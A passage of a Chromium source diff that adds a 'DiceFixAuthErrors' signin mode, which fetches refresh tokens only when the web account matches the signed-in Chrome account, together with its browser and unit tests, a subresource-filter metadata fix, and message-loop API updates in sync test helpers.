 #include "chrome/browser/signin/account_tracker_service_factory.h"
 #include "chrome/browser/signin/profile_oauth2_token_service_factory.h"
 #include "chrome/browser/signin/signin_manager_factory.h"
@@ -26,6 +27,7 @@
 #include "components/signin/core/browser/signin_header_helper.h"
 #include "components/signin/core/browser/signin_manager.h"
 #include "components/signin/core/common/profile_management_switches.h"
+#include "components/sync/base/sync_prefs.h"
 #include "content/public/test/browser_test.h"
 #include "content/public/test/browser_test_utils.h"
 #include "google_apis/gaia/gaia_switches.h"
@@ -41,6 +43,7 @@
 using net::test_server::BasicHttpResponse;
 using net::test_server::HttpRequest;
 using net::test_server::HttpResponse;
+using signin::AccountConsistencyMethod;
 
 namespace {
 
@@ -182,13 +185,15 @@
 
 }  // namespace FakeGaia
 
-class DiceBrowserTest : public InProcessBrowserTest,
-                        public OAuth2TokenService::Observer {
+class DiceBrowserTestBase : public InProcessBrowserTest,
+                            public OAuth2TokenService::Observer {
  protected:
-  ~DiceBrowserTest() override {}
+  ~DiceBrowserTestBase() override {}
 
-  DiceBrowserTest()
+  explicit DiceBrowserTestBase(
+      AccountConsistencyMethod account_consistency_method)
       : https_server_(net::EmbeddedTestServer::TYPE_HTTPS),
+        account_consistency_method_(account_consistency_method),
         token_requested_(false),
         refresh_token_available_(false),
         token_revoked_notification_count_(0),
@@ -282,7 +287,9 @@
 
   void SetUpOnMainThread() override {
     InProcessBrowserTest::SetUpOnMainThread();
-    scoped_dice_ = base::MakeUnique<signin::ScopedAccountConsistencyDice>();
+    scoped_account_consistency_ =
+        base::MakeUnique<signin::ScopedAccountConsistency>(
+            account_consistency_method_);
     https_server_.StartAcceptingConnections();
     GetTokenService()->AddObserver(this);
   }
@@ -302,13 +309,25 @@
   }
 
   net::EmbeddedTestServer https_server_;
-  std::unique_ptr<signin::ScopedAccountConsistencyDice> scoped_dice_;
+  AccountConsistencyMethod account_consistency_method_;
+  std::unique_ptr<signin::ScopedAccountConsistency> scoped_account_consistency_;
   bool token_requested_;
   bool refresh_token_available_;
   int token_revoked_notification_count_;
   int token_revoked_count_;
 };
 
+class DiceBrowserTest : public DiceBrowserTestBase {
+ public:
+  DiceBrowserTest() : DiceBrowserTestBase(AccountConsistencyMethod::kDice) {}
+};
+
+class DiceFixAuthErrorsBrowserTest : public DiceBrowserTestBase {
+ public:
+  DiceFixAuthErrorsBrowserTest()
+      : DiceBrowserTestBase(AccountConsistencyMethod::kDiceFixAuthErrors) {}
+};
+
 // This test is flaky on Windows, see https://crbug.com/741652
 #if defined(OS_WIN)
 #define MAYBE_Signin DISABLED_Signin
@@ -423,3 +442,126 @@
   EXPECT_EQ(2, token_revoked_notification_count_);
   EXPECT_EQ(2, token_revoked_count_);
 }
+
+// Checks that signin on Gaia does not trigger the fetch of refresh token when
+// there is no authentication error.
+IN_PROC_BROWSER_TEST_F(DiceFixAuthErrorsBrowserTest, SigninNoAuthError) {
+  // Start from a signed-in state.
+  SetupSignedInAccounts();
+
+  // Navigate to Gaia and sign in.
+  NavigateToURL(kSigninURL);
+
+  // Check that the Dice request header was not sent.
+  std::string header_value;
+  EXPECT_TRUE(content::ExecuteScriptAndExtractString(
+      browser()->tab_strip_model()->GetActiveWebContents(),
+      "window.domAutomationController.send(document.body.textContent);",
+      &header_value));
+  EXPECT_EQ("None", header_value);
+}
+
+// Checks that signin on Gaia does not triggers the fetch for a refresh token
+// when the user is not signed into Chrome.
+IN_PROC_BROWSER_TEST_F(DiceFixAuthErrorsBrowserTest, NotSignedInChrome) {
+  // Setup authentication error.
+  syncer::SyncPrefs(browser()->profile()->GetPrefs()).SetSyncAuthError(true);
+
+  // Navigate to Gaia and sign in.
+  NavigateToURL(kSigninURL);
+
+  // Check that the Dice request header was not sent.
+  std::string header_value;
+  EXPECT_TRUE(content::ExecuteScriptAndExtractString(
+      browser()->tab_strip_model()->GetActiveWebContents(),
+      "window.domAutomationController.send(document.body.textContent);",
+      &header_value));
+  EXPECT_EQ("None", header_value);
+}
+
+// Checks that a refresh token is not requested when accounts don't match.
+IN_PROC_BROWSER_TEST_F(DiceFixAuthErrorsBrowserTest, SigninAccountMismatch) {
+  // Sign in to Chrome with secondary account, with authentication error.
+  SigninManager* signin_manager = GetSigninManager();
+  signin_manager->StartSignInWithRefreshToken(
+      "existing_refresh_token", kSecondaryGaiaID, kSecondaryEmail, "password",
+      SigninManager::OAuthTokenFetchedCallback());
+  ASSERT_TRUE(
+      GetTokenService()->RefreshTokenIsAvailable(GetSecondaryAccountID()));
+  ASSERT_EQ(GetSecondaryAccountID(),
+            signin_manager->GetAuthenticatedAccountId());
+  syncer::SyncPrefs(browser()->profile()->GetPrefs()).SetSyncAuthError(true);
+
+  // Navigate to Gaia and sign in with the main account (account mismatch).
+  NavigateToURL(kSigninURL);
+
+  // Check that the Dice request header was sent.
+  std::string header_value;
+  EXPECT_TRUE(content::ExecuteScriptAndExtractString(
+      browser()->tab_strip_model()->GetActiveWebContents(),
+      "window.domAutomationController.send(document.body.textContent);",
+      &header_value));
+  EXPECT_EQ(base::StringPrintf(
+                "client_id=%s",
+                GaiaUrls::GetInstance()->oauth2_chrome_client_id().c_str()),
+            header_value);
+
+  // Check that the token was not requested and the authenticated account did
+  // not change.
+  base::RunLoop().RunUntilIdle();
+  EXPECT_FALSE(token_requested_);
+  EXPECT_FALSE(refresh_token_available_);
+  EXPECT_EQ(GetSecondaryAccountID(),
+            GetSigninManager()->GetAuthenticatedAccountId());
+}
+
+// Checks that signin on Gaia triggers the fetch for a refresh token when there
+// is an authentication error and the user is re-authenticating on the web.
+// This test is similar to DiceBrowserTest.Reauth.
+IN_PROC_BROWSER_TEST_F(DiceFixAuthErrorsBrowserTest, ReauthFixAuthError) {
+  // Start from a signed-in state with authentication error.
+  SetupSignedInAccounts();
+  syncer::SyncPrefs(browser()->profile()->GetPrefs()).SetSyncAuthError(true);
+
+  // Navigate to Gaia and sign in again with the main account.
+  NavigateToURL(kSigninURL);
+
+  // Check that the Dice request header was sent.
+  std::string header_value;
+  EXPECT_TRUE(content::ExecuteScriptAndExtractString(
+      browser()->tab_strip_model()->GetActiveWebContents(),
+      "window.domAutomationController.send(document.body.textContent);",
+      &header_value));
+  EXPECT_EQ(base::StringPrintf(
+                "client_id=%s",
+                GaiaUrls::GetInstance()->oauth2_chrome_client_id().c_str()),
+            header_value);
+
+  // Check that the token was requested and added to the token service.
+  base::RunLoop().RunUntilIdle();
+  EXPECT_TRUE(token_requested_);
+  EXPECT_TRUE(refresh_token_available_);
+  EXPECT_EQ(GetMainAccountID(),
+            GetSigninManager()->GetAuthenticatedAccountId());
+  // Old token must be revoked silently.
+  EXPECT_EQ(0, token_revoked_notification_count_);
+  EXPECT_EQ(1, token_revoked_count_);
+}
+
+// Checks that the Dice signout flow is disabled.
+IN_PROC_BROWSER_TEST_F(DiceFixAuthErrorsBrowserTest, Signout) {
+  // Start from a signed-in state.
+  SetupSignedInAccounts();
+
+  // Signout from main account on the web.
+  SignOutWithDice(kMainAccount);
+
+  // Check that the user is still signed in Chrome.
+  EXPECT_EQ(GetMainAccountID(),
+            GetSigninManager()->GetAuthenticatedAccountId());
+  EXPECT_TRUE(GetTokenService()->RefreshTokenIsAvailable(GetMainAccountID()));
+  EXPECT_TRUE(
+      GetTokenService()->RefreshTokenIsAvailable(GetSecondaryAccountID()));
+  EXPECT_EQ(0, token_revoked_notification_count_);
+  EXPECT_EQ(0, token_revoked_count_);
+}
diff --git a/chrome/browser/signin/dice_response_handler.cc b/chrome/browser/signin/dice_response_handler.cc
index b46e18c..80257780 100644
--- a/chrome/browser/signin/dice_response_handler.cc
+++ b/chrome/browser/signin/dice_response_handler.cc
@@ -159,9 +159,7 @@
 
 void DiceResponseHandler::ProcessDiceHeader(
     const signin::DiceResponseParams& dice_params) {
-  DCHECK_EQ(signin::AccountConsistencyMethod::kDice,
-            signin::GetAccountConsistencyMethod());
-
+  DCHECK(signin::IsDiceFixAuthErrorsEnabled());
   switch (dice_params.user_intention) {
     case signin::DiceAction::SIGNIN:
       ProcessDiceSigninHeader(dice_params.signin_info.gaia_id,
@@ -190,6 +188,24 @@
   return token_fetchers_.size();
 }
 
+bool DiceResponseHandler::CanGetTokenForAccount(const std::string& gaia_id,
+                                                const std::string& email) {
+  if (signin::IsAccountConsistencyDiceEnabled())
+    return true;
+
+  // When using kDiceFixAuthErrors, only get a token if the account matches
+  // the current Chrome account.
+  DCHECK_EQ(signin::AccountConsistencyMethod::kDiceFixAuthErrors,
+            signin::GetAccountConsistencyMethod());
+  std::string account =
+      account_tracker_service_->PickAccountIdForAccount(gaia_id, email);
+  std::string chrome_account = signin_manager_->GetAuthenticatedAccountId();
+  bool can_get_token = (chrome_account == account);
+  VLOG_IF(1, !can_get_token)
+      << "[Dice] Dropping Dice signin response for " << account;
+  return can_get_token;
+}
+
 void DiceResponseHandler::ProcessDiceSigninHeader(
     const std::string& gaia_id,
     const std::string& email,
@@ -198,6 +214,9 @@
   DCHECK(!email.empty());
   DCHECK(!authorization_code.empty());
 
+  if (!CanGetTokenForAccount(gaia_id, email))
+    return;
+
   for (auto it = token_fetchers_.begin(); it != token_fetchers_.end(); ++it) {
     if ((it->get()->gaia_id() == gaia_id) && (it->get()->email() == email) &&
         (it->get()->authorization_code() == authorization_code)) {
@@ -213,6 +232,13 @@
     const std::vector<std::string>& gaia_ids,
     const std::vector<std::string>& emails) {
   DCHECK_EQ(gaia_ids.size(), emails.size());
+  if (!signin::IsAccountConsistencyDiceEnabled()) {
+    // Ignore signout responses when using kDiceFixAuthErrors.
+    DCHECK_EQ(signin::AccountConsistencyMethod::kDiceFixAuthErrors,
+              signin::GetAccountConsistencyMethod());
+    return;
+  }
+
   // If one of the signed out accounts is the main Chrome account, then force a
   // complete signout. Otherwise simply revoke the corresponding tokens.
   std::string current_account = signin_manager_->GetAuthenticatedAccountId();
@@ -264,6 +290,9 @@
     const std::string& gaia_id,
     const std::string& email,
     const GaiaAuthConsumer::ClientOAuthResult& result) {
+  if (!CanGetTokenForAccount(gaia_id, email))
+    return;
+
   std::string account_id =
       account_tracker_service_->SeedAccountInfo(gaia_id, email);
   VLOG(1) << "[Dice] OAuth success for account: " << account_id;
diff --git a/chrome/browser/signin/dice_response_handler.h b/chrome/browser/signin/dice_response_handler.h
index c3d2f129..c763487 100644
--- a/chrome/browser/signin/dice_response_handler.h
+++ b/chrome/browser/signin/dice_response_handler.h
@@ -87,6 +87,11 @@
   // Deletes the token fetcher.
   void DeleteTokenFetcher(DiceTokenFetcher* token_fetcher);
 
+  // Returns true if it is acceptable to get a new token for the account.
+  // Always returns true when using kDice.
+  bool CanGetTokenForAccount(const std::string& gaia_id,
+                             const std::string& email);
+
   // Process the Dice signin action.
   void ProcessDiceSigninHeader(const std::string& gaia_id,
                                const std::string& email,
diff --git a/chrome/browser/signin/dice_response_handler_unittest.cc b/chrome/browser/signin/dice_response_handler_unittest.cc
index 46a3111..b4369e9 100644
--- a/chrome/browser/signin/dice_response_handler_unittest.cc
+++ b/chrome/browser/signin/dice_response_handler_unittest.cc
@@ -5,8 +5,10 @@
 #include "chrome/browser/signin/dice_response_handler.h"
 
 #include "base/command_line.h"
+#include "base/macros.h"
 #include "base/memory/ref_counted.h"
 #include "base/message_loop/message_loop.h"
+#include "base/scoped_observer.h"
 #include "base/test/test_mock_time_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "base/time/time.h"
@@ -58,6 +60,31 @@
   }
 
   GaiaAuthConsumer* consumer_;
+
+ private:
+  DISALLOW_COPY_AND_ASSIGN(DiceTestSigninClient);
+};
+
+// Checks if OnRefreshTokenAvailable() has been called for the specified
+// account.
+class DiceTestTokenServiceObserver : public OAuth2TokenService::Observer {
+ public:
+  explicit DiceTestTokenServiceObserver(const std::string& account_id)
+      : account_id_(account_id) {}
+
+  bool token_received() { return token_received_; }
+
+ private:
+  // OAuth2TokenServiceObserver:
+  void OnRefreshTokenAvailable(const std::string& account_id) override {
+    if (account_id == account_id_)
+      token_received_ = true;
+  }
+
+  bool token_received_ = false;
+  std::string account_id_;
+
+  DISALLOW_COPY_AND_ASSIGN(DiceTestTokenServiceObserver);
 };
 
 class DiceResponseHandlerTest : public testing::Test {
@@ -108,7 +135,6 @@
   scoped_refptr<base::TestMockTimeTaskRunner> task_runner_;
   scoped_refptr<net::TestURLRequestContextGetter> request_context_getter_;
   sync_preferences::TestingPrefServiceSyncable pref_service_;
-  signin::ScopedAccountConsistencyDice scoped_dice_;
   DiceTestSigninClient signin_client_;
   ProfileOAuth2TokenService token_service_;
   AccountTrackerService account_tracker_service_;
@@ -118,6 +144,7 @@
 
 // Checks that a SIGNIN action triggers a token exchange request.
 TEST_F(DiceResponseHandlerTest, Signin) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNIN);
   ASSERT_FALSE(
       token_service_.RefreshTokenIsAvailable(dice_params.signin_info.gaia_id));
@@ -134,6 +161,7 @@
 
 // Checks that a GaiaAuthFetcher failure is handled correctly.
 TEST_F(DiceResponseHandlerTest, SigninFailure) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNIN);
   ASSERT_FALSE(
       token_service_.RefreshTokenIsAvailable(dice_params.signin_info.gaia_id));
@@ -155,6 +183,7 @@
 // Checks that a second token for the same account is not requested when a
 // request is already in flight.
 TEST_F(DiceResponseHandlerTest, SigninRepeatedWithSameAccount) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNIN);
   ASSERT_FALSE(
       token_service_.RefreshTokenIsAvailable(dice_params.signin_info.gaia_id));
@@ -177,6 +206,7 @@
 
 // Checks that two SIGNIN requests can happen concurrently.
 TEST_F(DiceResponseHandlerTest, SigninWithTwoAccounts) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   DiceResponseParams dice_params_1 = MakeDiceParams(DiceAction::SIGNIN);
   DiceResponseParams dice_params_2 = MakeDiceParams(DiceAction::SIGNIN);
   dice_params_2.signin_info.email = "other_email";
@@ -210,6 +240,7 @@
 }
 
 TEST_F(DiceResponseHandlerTest, Timeout) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNIN);
   ASSERT_FALSE(
       token_service_.RefreshTokenIsAvailable(dice_params.signin_info.gaia_id));
@@ -229,6 +260,7 @@
 }
 
 TEST_F(DiceResponseHandlerTest, SignoutMainAccount) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   const char kSecondaryGaiaID[] = "secondary_account";
   DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNOUT);
   // User is signed in to Chrome, and has some refresh token for a secondary
@@ -252,6 +284,7 @@
 }
 
 TEST_F(DiceResponseHandlerTest, SignoutSecondaryAccount) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   const char kMainGaiaID[] = "main_account";
   DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNOUT);
   // User is signed in to Chrome, and has some refresh token for a secondary
@@ -275,6 +308,7 @@
 }
 
 TEST_F(DiceResponseHandlerTest, SignoutWebOnly) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   const char kSecondaryGaiaID[] = "secondary_account";
   DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNOUT);
   // User is NOT signed in to Chrome, and has some refresh tokens for two
@@ -297,6 +331,7 @@
 
 // Checks that signin in progress is canceled by a signout for the main account.
 TEST_F(DiceResponseHandlerTest, SigninSignoutMainAccount) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNOUT);
   // User is signed in to Chrome with a main account.
   signin_manager_.SignIn(dice_params.signout_info.gaia_id[0],
@@ -330,6 +365,7 @@
 // Checks that signin in progress is canceled by a signout for a secondary
 // account.
 TEST_F(DiceResponseHandlerTest, SigninSignoutSecondaryAccount) {
+  signin::ScopedAccountConsistencyDice scoped_dice;
   // User starts signin in the web with two accounts, and is not signed into
   // Chrome.
   DiceResponseParams signout_params_1 = MakeDiceParams(DiceAction::SIGNOUT);
@@ -365,6 +401,97 @@
       signin_params_2.signin_info.gaia_id));
 }
 
+// Checks that no auth error fix happens if the user is signed out.
+TEST_F(DiceResponseHandlerTest, FixAuthErrorSignedOut) {
+  signin::ScopedAccountConsistencyDiceFixAuthErrors scoped_dice_fix_auth_errors;
+  DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNIN);
+  ASSERT_FALSE(
+      token_service_.RefreshTokenIsAvailable(dice_params.signin_info.gaia_id));
+  dice_response_handler_.ProcessDiceHeader(dice_params);
+  // Check that a GaiaAuthFetcher has not been created.
+  ASSERT_THAT(signin_client_.consumer_, testing::IsNull());
+}
+
+// Checks that the token is not stored if the user signs out during the token
+// request.
+TEST_F(DiceResponseHandlerTest, FixAuthErrorSignOutDuringRequest) {
+  signin::ScopedAccountConsistencyDiceFixAuthErrors scoped_dice_fix_auth_errors;
+  // User is signed in to Chrome.
+  DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNIN);
+  signin_manager_.SignIn(dice_params.signin_info.gaia_id,
+                         dice_params.signin_info.email, "password");
+  token_service_.UpdateCredentials(dice_params.signin_info.gaia_id, "token1");
+  EXPECT_TRUE(
+      token_service_.RefreshTokenIsAvailable(dice_params.signin_info.gaia_id));
+  EXPECT_TRUE(signin_manager_.IsAuthenticated());
+  // Start re-authentication on the web.
+  dice_response_handler_.ProcessDiceHeader(dice_params);
+  // Check that a GaiaAuthFetcher has been created.
+  ASSERT_THAT(signin_client_.consumer_, testing::NotNull());
+  // Sign out.
+  signin_manager_.ForceSignOut();
+  // Simulate GaiaAuthFetcher success.
+  signin_client_.consumer_->OnClientOAuthSuccess(
+      GaiaAuthConsumer::ClientOAuthResult("refresh_token", "access_token", 10));
+  // Check that the token has not been inserted in the token service.
+  EXPECT_FALSE(
+      token_service_.RefreshTokenIsAvailable(dice_params.signin_info.gaia_id));
+}
+
+// Checks that the token is fixed if the Chrome account matches the web account.
+TEST_F(DiceResponseHandlerTest, FixAuthError) {
+  signin::ScopedAccountConsistencyDiceFixAuthErrors scoped_dice_fix_auth_errors;
+  // User is signed in to Chrome.
+  DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNIN);
+  signin_manager_.SignIn(dice_params.signin_info.gaia_id,
+                         dice_params.signin_info.email, "password");
+  token_service_.UpdateCredentials(dice_params.signin_info.gaia_id, "token1");
+  EXPECT_TRUE(
+      token_service_.RefreshTokenIsAvailable(dice_params.signin_info.gaia_id));
+  EXPECT_TRUE(signin_manager_.IsAuthenticated());
+  // Start re-authentication on the web.
+  dice_response_handler_.ProcessDiceHeader(dice_params);
+  // Check that a GaiaAuthFetcher has been created.
+  ASSERT_THAT(signin_client_.consumer_, testing::NotNull());
+  // We need to listen for new token notifications, since there is no way to
+  // check the actual value of the token in the token service.
+  std::unique_ptr<DiceTestTokenServiceObserver> token_service_observer =
+      base::MakeUnique<DiceTestTokenServiceObserver>(
+          dice_params.signin_info.gaia_id);
+  ScopedObserver<ProfileOAuth2TokenService, DiceTestTokenServiceObserver>
+      scoped_token_service_observer(token_service_observer.get());
+  scoped_token_service_observer.Add(&token_service_);
+  // Simulate GaiaAuthFetcher success.
+  signin_client_.consumer_->OnClientOAuthSuccess(
+      GaiaAuthConsumer::ClientOAuthResult("refresh_token", "access_token", 10));
+  // Check that the token has not been inserted in the token service.
+  EXPECT_TRUE(
+      token_service_.RefreshTokenIsAvailable(dice_params.signin_info.gaia_id));
+  EXPECT_TRUE(token_service_observer->token_received());
+}
+
+// Tests that the Dice Signout response is ignored when kDiceFixAuthErrors is
+// used.
+TEST_F(DiceResponseHandlerTest, FixAuthErroDoesNotSignout) {
+  signin::ScopedAccountConsistencyDiceFixAuthErrors scoped_dice_fix_auth_errors;
+  DiceResponseParams dice_params = MakeDiceParams(DiceAction::SIGNOUT);
+  // User is signed in to Chrome, and has some refresh token for a secondary
+  // account.
+  signin_manager_.SignIn(dice_params.signout_info.gaia_id[0],
+                         dice_params.signout_info.email[0], "password");
+  token_service_.UpdateCredentials(dice_params.signout_info.gaia_id[0],
+                                   "token1");
+  EXPECT_TRUE(token_service_.RefreshTokenIsAvailable(
+      dice_params.signout_info.gaia_id[0]));
+  EXPECT_TRUE(signin_manager_.IsAuthenticated());
+  // Receive signout response for the main account.
+  dice_response_handler_.ProcessDiceHeader(dice_params);
+  // User is not signed out from Chrome.
+  EXPECT_TRUE(token_service_.RefreshTokenIsAvailable(
+      dice_params.signout_info.gaia_id[0]));
+  EXPECT_TRUE(signin_manager_.IsAuthenticated());
+}
+
 // Tests that the DiceResponseHandler is created for a normal profile but not
 // for an incognito profile.
 TEST(DiceResponseHandlerFactoryTest, NotInIncognito) {
diff --git a/chrome/browser/site_details_browsertest.cc b/chrome/browser/site_details_browsertest.cc
index be8815b..12674504 100644
--- a/chrome/browser/site_details_browsertest.cc
+++ b/chrome/browser/site_details_browsertest.cc
@@ -16,6 +16,7 @@
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
+#include "base/run_loop.h"
 #include "base/strings/stringprintf.h"
 #include "base/test/histogram_tester.h"
 #include "chrome/browser/browser_process.h"
@@ -91,7 +92,7 @@
   void OnDetailsAvailable() override {
     MetricsMemoryDetails::OnDetailsAvailable();
     // Exit the loop initiated by StartFetchAndWait().
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   std::unique_ptr<base::HistogramTester> uma_;
diff --git a/chrome/browser/subresource_filter/chrome_subresource_filter_client.cc b/chrome/browser/subresource_filter/chrome_subresource_filter_client.cc
index 458f2b86..7d1538a9 100644
--- a/chrome/browser/subresource_filter/chrome_subresource_filter_client.cc
+++ b/chrome/browser/subresource_filter/chrome_subresource_filter_client.cc
@@ -138,10 +138,8 @@
   const GURL& url(navigation_handle->GetURL());
   DCHECK(navigation_handle->IsInMainFrame());
 
-  // If the site is no longer activated, clear the metadata. This is to maintain
-  // the invariant that metadata implies activated.
-  if (!activated && url.SchemeIsHTTPOrHTTPS())
-    settings_manager_->ClearSiteMetadata(url);
+  if (url.SchemeIsHTTPOrHTTPS())
+    settings_manager_->ResetSiteMetadataBasedOnActivation(url, activated);
 
   // Return whether the activation should be whitelisted.
   return whitelisted_hosts_.count(url.host()) ||
diff --git a/chrome/browser/subresource_filter/subresource_filter_content_settings_manager.cc b/chrome/browser/subresource_filter/subresource_filter_content_settings_manager.cc
index afb8028..043f84ce 100644
--- a/chrome/browser/subresource_filter/subresource_filter_content_settings_manager.cc
+++ b/chrome/browser/subresource_filter/subresource_filter_content_settings_manager.cc
@@ -110,9 +110,13 @@
   return true;
 }
 
-void SubresourceFilterContentSettingsManager::ClearSiteMetadata(
-    const GURL& url) {
-  SetSiteMetadata(url, nullptr);
+void SubresourceFilterContentSettingsManager::
+    ResetSiteMetadataBasedOnActivation(const GURL& url, bool is_activated) {
+  if (!is_activated) {
+    SetSiteMetadata(url, nullptr);
+  } else if (!GetSiteMetadata(url)) {
+    SetSiteMetadata(url, base::MakeUnique<base::DictionaryValue>());
+  }
 }
 
 std::unique_ptr<base::DictionaryValue>
diff --git a/chrome/browser/subresource_filter/subresource_filter_content_settings_manager.h b/chrome/browser/subresource_filter/subresource_filter_content_settings_manager.h
index fcaf3ac..0e89ca67 100644
--- a/chrome/browser/subresource_filter/subresource_filter_content_settings_manager.h
+++ b/chrome/browser/subresource_filter/subresource_filter_content_settings_manager.h
@@ -59,7 +59,13 @@
     should_use_smart_ui_ = should_use_smart_ui;
   }
 
-  void ClearSiteMetadata(const GURL& url);
+  // If the site is no longer activated, clear the metadata.
+  //
+  // If the site is activated, ensure that there is metadata. Don't log a
+  // timestamp since the timestamp implies that the UI has been shown.
+  //
+  // This is to maintain the invariant that metadata implies activated.
+  void ResetSiteMetadataBasedOnActivation(const GURL& url, bool is_activated);
 
   void set_clock_for_testing(std::unique_ptr<base::Clock> tick_clock) {
     clock_ = std::move(tick_clock);
diff --git a/chrome/browser/subresource_filter/subresource_filter_unittest.cc b/chrome/browser/subresource_filter/subresource_filter_unittest.cc
index f8acc803..0df8f26 100644
--- a/chrome/browser/subresource_filter/subresource_filter_unittest.cc
+++ b/chrome/browser/subresource_filter/subresource_filter_unittest.cc
@@ -160,3 +160,29 @@
   SimulateNavigateAndCommit(url, main_rfh());
   EXPECT_TRUE(CreateAndNavigateDisallowedSubframe(main_rfh()));
 }
+
+TEST_F(SubresourceFilterTest, RefreshMetadataOnActivation) {
+  const GURL url("https://a.test");
+  ConfigureAsSubresourceFilterOnlyURL(url);
+  SimulateNavigateAndCommit(url, main_rfh());
+  EXPECT_FALSE(CreateAndNavigateDisallowedSubframe(main_rfh()));
+  EXPECT_NE(nullptr, GetSettingsManager()->GetSiteMetadata(url));
+
+  // Whitelist via content settings.
+  GetSettingsManager()->WhitelistSite(url);
+
+  // Remove from blacklist, will delete the metadata. Note that there is still
+  // an exception in content settings.
+  RemoveURLFromBlacklist(url);
+  SimulateNavigateAndCommit(url, main_rfh());
+  EXPECT_EQ(nullptr, GetSettingsManager()->GetSiteMetadata(url));
+
+  // Site re-added to the blacklist. Should not activate due to whitelist, but
+  // there should be page info / site details.
+  ConfigureAsSubresourceFilterOnlyURL(url);
+  SimulateNavigateAndCommit(url, main_rfh());
+
+  EXPECT_EQ(CONTENT_SETTING_ALLOW,
+            GetSettingsManager()->GetSitePermission(url));
+  EXPECT_NE(nullptr, GetSettingsManager()->GetSiteMetadata(url));
+}
diff --git a/chrome/browser/sync/profile_sync_test_util.h b/chrome/browser/sync/profile_sync_test_util.h
index 34be1dfe..c9f6bc58 100644
--- a/chrome/browser/sync/profile_sync_test_util.h
+++ b/chrome/browser/sync/profile_sync_test_util.h
@@ -10,6 +10,7 @@
 
 #include "base/memory/ref_counted.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "components/browser_sync/profile_sync_service_mock.h"
 #include "content/public/browser/browser_thread.h"
 #include "content/public/browser/notification_service.h"
@@ -38,7 +39,7 @@
 
 ACTION(QuitUIMessageLoop) {
   DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // Helper methods for constructing ProfileSyncService mocks.
diff --git a/chrome/browser/sync/test/integration/bookmarks_helper.cc b/chrome/browser/sync/test/integration/bookmarks_helper.cc
index 18dc172..61ef9d50 100644
--- a/chrome/browser/sync/test/integration/bookmarks_helper.cc
+++ b/chrome/browser/sync/test/integration/bookmarks_helper.cc
@@ -129,7 +129,7 @@
                                   const BookmarkNode* node) override {
     if (model == model_ && node == node_) {
       if (!wait_for_load_ || (wait_for_load_ && node->is_favicon_loaded()))
-        base::MessageLoopForUI::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/chrome/browser/sync/test/integration/passwords_helper.cc b/chrome/browser/sync/test/integration/passwords_helper.cc
index 81b6588..6559ce5 100644
--- a/chrome/browser/sync/test/integration/passwords_helper.cc
+++ b/chrome/browser/sync/test/integration/passwords_helper.cc
@@ -10,6 +10,7 @@
 #include "base/compiler_specific.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/synchronization/waitable_event.h"
@@ -49,7 +50,7 @@
       std::vector<std::unique_ptr<PasswordForm>> results) override {
     result_.swap(results);
     // Quit the message loop to wake up passwords_helper::GetLogins.
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   std::vector<std::unique_ptr<PasswordForm>> result() {
diff --git a/chrome/browser/sync/test/integration/status_change_checker.cc b/chrome/browser/sync/test/integration/status_change_checker.cc
index 0407390..ebffe2ff 100644
--- a/chrome/browser/sync/test/integration/status_change_checker.cc
+++ b/chrome/browser/sync/test/integration/status_change_checker.cc
@@ -46,7 +46,7 @@
 }
 
 void StatusChangeChecker::StopWaiting() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void StatusChangeChecker::CheckExitCondition() {
diff --git a/chrome/browser/sync/test/integration/sync_test.cc b/chrome/browser/sync/test/integration/sync_test.cc
index 866bbde..23efa81 100644
--- a/chrome/browser/sync/test/integration/sync_test.cc
+++ b/chrome/browser/sync/test/integration/sync_test.cc
@@ -18,6 +18,7 @@
 #include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/process/launch.h"
+#include "base/run_loop.h"
 #include "base/strings/string_split.h"
 #include "base/strings/string_util.h"
 #include "base/strings/stringprintf.h"
@@ -151,7 +152,7 @@
         (source->GetStatus().status() == net::URLRequestStatus::SUCCESS &&
          source->GetResponseCode() == 200 &&
          base::StartsWith(data, "ok", base::CompareCase::SENSITIVE));
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool running() const { return running_; }
diff --git a/chrome/browser/sync_file_system/local/canned_syncable_file_system.cc b/chrome/browser/sync_file_system/local/canned_syncable_file_system.cc
index 4a4f244..cdaa516 100644
--- a/chrome/browser/sync_file_system/local/canned_syncable_file_system.cc
+++ b/chrome/browser/sync_file_system/local/canned_syncable_file_system.cc
@@ -241,8 +241,7 @@
   if (quota_mode == QUOTA_ENABLED) {
     quota_manager_ = new QuotaManager(
